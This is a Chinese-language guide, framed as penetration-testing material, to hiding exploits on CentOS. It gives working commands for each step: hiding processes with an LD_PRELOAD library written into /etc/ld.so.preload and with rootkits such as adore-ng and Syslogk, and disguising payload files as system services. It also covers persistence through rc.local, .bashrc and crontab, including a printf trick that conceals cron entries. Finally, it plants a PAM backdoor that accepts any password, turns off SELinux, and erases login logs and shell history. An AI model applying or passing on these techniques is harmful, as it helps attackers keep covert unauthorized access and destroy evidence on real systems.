隐藏CentOS Exploit的常用方法
在渗透测试或安全研究中,隐藏exploit(漏洞利用程序)的目的是规避检测、延长权限维持时间。以下是针对CentOS系统的具体隐藏手段,涵盖进程、文件、启动项、日志等多个维度:
原理:通过内核机制或恶意库隐藏exploit进程的PID及名称,使ps、top等工具无法显示。
processhider.c),通过LD_PRELOAD环境变量强制系统加载该库,拦截getdents、readdir等系统调用,过滤掉目标进程信息。操作步骤:编译库文件(gcc -shared -fPIC -o libc2.28.so processhider.c -ldl),将库路径添加到/etc/ld.so.preload(echo "/usr/local/lib/libc2.28.so" >> /etc/ld.so.preload),重启exploit后,进程将不再出现在ps输出中。adore-ng、Syslogk),通过insmod加载到内核空间,利用内核API隐藏进程。例如,adore-ng的hide命令可指定PID(如./ava i 1234),使该PID的进程在ps、lsmod中不可见;Syslogk则通过list_del从内核模块链表中移除自身,需通过/proc/syslogk写入1才能显现。./Vegile --i可隐藏exploit进程,--u参数可实现“进程自杀后自动重生”,即使被kill也能恢复。原理:通过Rootkit或内核模块隐藏exploit文件(如payload、配置文件),使ls、find等工具无法检测。
adore-ng的h命令可隐藏指定文件(如./ava h /tmp/exploit.sh),即使使用ls -a也无法查看;Syslogk则通过Hook VFS函数,隐藏包含恶意文件的目录(如/etc/rc-Zobk0jpi/)。syslogd、nginx等常见服务名),放置在/usr/sbin/、/etc/init.d/等系统目录下,利用管理员对系统文件的信任规避检查。原理:将exploit添加到系统启动流程或定时任务中,确保重启后自动执行,同时隐藏启动项本身。
/etc/rc.local(需chmod +x)、/etc/profile、~/.bashrc等文件,在文件末尾添加exploit执行命令(如/usr/local/bin/exploit.sh &),并通过注释伪装(如“系统环境变量初始化”)。这些文件会在系统启动或用户登录时自动执行,且不易被怀疑。/etc/crontab或用户级crontab(crontab -e),添加定时执行的exploit命令(如*/1 * * * * root /tmp/exploit.sh)。可使用printf命令隐藏任务内容(如crontab -l;printf "*/1 * * * * /tmp/exploit.sh\r\nno crontab for root%100c\n"),使crontab -l无法直接查看。/etc/pam.d/system-auth、/etc/pam.d/password-auth),添加恶意验证逻辑(如auth sufficient pam_exec.so /tmp/backdoor.so),使攻击者在输入任意密码时都能通过认证。需关闭SELinux(setenforce 0)后操作,该后门可绕过密码验证,长期维持权限。原理:清除系统日志中与exploit相关的记录(如登录日志、命令历史、访问日志),避免管理员通过日志发现异常。
history -c清除当前用户的命令历史,或修改~/.bash_history文件(如echo > ~/.bash_history);还可通过设置HISTSIZE=0(vim /etc/profile)禁止保存历史命令。echo > /var/log/wtmp清除登录成功日志(last命令无法查看),echo > /var/log/btmp清除登录失败日志(lastb命令无法查看)。echo > /var/log/secure清除SSH登录日志(如Accepted password记录),echo > /var/log/messages清除系统消息日志(如Exploit executed记录)。netstat -antp查看异常端口、lsmod查看异常内核模块),避免被高级检测工具(如EDR、IDS)发现。